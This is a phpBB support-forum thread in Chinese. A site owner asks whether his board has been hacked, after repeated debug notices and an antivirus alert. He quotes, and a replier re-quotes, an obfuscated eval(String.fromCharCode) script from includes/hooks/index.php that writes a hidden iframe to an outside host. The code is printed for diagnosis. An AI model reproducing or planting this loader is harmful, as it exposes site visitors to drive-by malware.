請問我的網站是被 hack 了嗎?

phpBB Installation & Usage Support
phpBB 3 安裝於各類型作業平台之問題討論;外掛問題,請到相關版面依發問格式發表!
(發表文章請按照公告格式發表,違者砍文)

版主: 版主管理群

版面規則
本區是討論關於 phpBB 3.0.X 架設安裝上的問題,只要有安裝任何外掛,請到外掛討論相關版面按照公告格式發表。
(發表文章請按照公告格式發表,違者砍文)
主題已鎖定
rob_chou
星球普通子民
星球普通子民
文章: 13
註冊時間: 2008-04-15 13:47

請問我的網站是被 hack 了嗎?

文章 rob_chou »

每過幾天討論區就會跑出這幾行:
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3805: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3807: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3808: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3809: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:250)
並且用 AviraAntivirus 會查到有病毒,我嘗試每次見到這訊息時就進入 hooks/index.php 檔案 把第 250 行之後的亂碼刪掉 但過一兩天就又跑出來
想請問有沒有人有這種狀況 並如何修理
謝謝!!

●主機作業系統:Windows
●快速架站程式:N/A
●免費空間連結: http://1and1.com
●您的上網方式:Cable (TimeWarner Cable)
●您安裝的程式:Apache + php + MySql
●您的 phpBB 版本:phpBB 3.0.4
●您的 domain (網域名稱) : http://www.uttisa.com
●您的 phpBB 連結網址: http://www.uttisa.com/phpbb/
小竹子
竹貓星球大統領
竹貓星球大統領
文章: 4596
註冊時間: 2001-10-29 22:13
來自: 竹貓星球
聯繫:

Re: 請問我的網站是被 hack 了嗎?

文章 小竹子 »

看樣子你有改到程式,但是沒改好....
可以提供你近期內改了什麼嗎?或是最後一次修改程式為何?
注意事項:
●phpBB 架設相關問題請到 + phpBB 3.0.x 討論區發表!
●都沒有你要的答案嗎??>>點這裡<<搜尋一下吧!
●請使用>>標準的發文格式<<發表問題!
●竹貓星球並非政治團體代言人,請不要在竹貓討論政治議題,也不要認為竹貓是偏向任何一方政治團體,竹貓愛的是台灣這片生長的土地,過於泛政治化文章請來信告知移除!
●關於 phpBB 使用問題請在版面發問,私人訊息提供其他不相干或是隱私的事情聯絡之用。
●所有市面上的免費空間皆非竹貓管轄,請勿來信詢問,請直接與該免費空間連絡。
rob_chou
星球普通子民
星球普通子民
文章: 13
註冊時間: 2008-04-15 13:47

Re: 請問我的網站是被 hack 了嗎?

文章 rob_chou »

我們很久都沒有修改東西了 至少有好幾個月了吧
但是上述問題是這兩天才出現的

每當有上述問題出現時 我唯一做的動作就是到 includes/hooks/index.php 第205行 把下列語法刪除
<?php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,102,103,103,103,101,51,61,34,118,101,115,34,59,118,97,114,32,119,51,52,53,61,34,116,101,34,59,118,97,114,32,114,101,54,61,34,108,105,97,46,34,59,118,97,114,32,114,114,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,102,103,103,103,101,51,43,39,39,43,119,51,52,53,43,39,39,43,114,101,54,43,39,39,43,114,114,43,39,47,39,43,39,113,113,112,47,39,43,39,39,43,39,39,43,39,34,32,115,116,121,108,101,61,34,100,39,43,39,105,115,112,108,97,121,58,110,39,43,39,111,110,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,116,61,48,48,48,48,49,50,49,55))</script>'; ?>
然後就可以用了
但是過一兩天這個語法又會自動出現
不曉得有什麼建議

謝謝
頭像
心靈捕手
默默耕耘的老師
默默耕耘的老師
文章: 8538
註冊時間: 2004-04-30 01:54
來自: Taiwan

Re: 請問我的網站是被 hack 了嗎?

文章 心靈捕手 »

rob_chou 寫:我們很久都沒有修改東西了 至少有好幾個月了吧
但是上述問題是這兩天才出現的

每當有上述問題出現時 我唯一做的動作就是到 includes/hooks/index.php 第205行 把下列語法刪除
<?php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,102,103,103,103,101,51,61,34,118,101,115,34,59,118,97,114,32,119,51,52,53,61,34,116,101,34,59,118,97,114,32,114,101,54,61,34,108,105,97,46,34,59,118,97,114,32,114,114,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,102,103,103,103,101,51,43,39,39,43,119,51,52,53,43,39,39,43,114,101,54,43,39,39,43,114,114,43,39,47,39,43,39,113,113,112,47,39,43,39,39,43,39,39,43,39,34,32,115,116,121,108,101,61,34,100,39,43,39,105,115,112,108,97,121,58,110,39,43,39,111,110,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,116,61,48,48,48,48,49,50,49,55))</script>'; ?>
然後就可以用了
但是過一兩天這個語法又會自動出現
不曉得有什麼建議

謝謝
建議您:
補充說明, "hooks" 是裝了哪支外掛?
施比受有福,祝福您好運! ^_^
歡迎光臨★★心靈捕手★★ :: 討論區
https://wang5555.dnsfor.me/phpBB3/
主題已鎖定

回到「[3.0.x] 安裝與使用」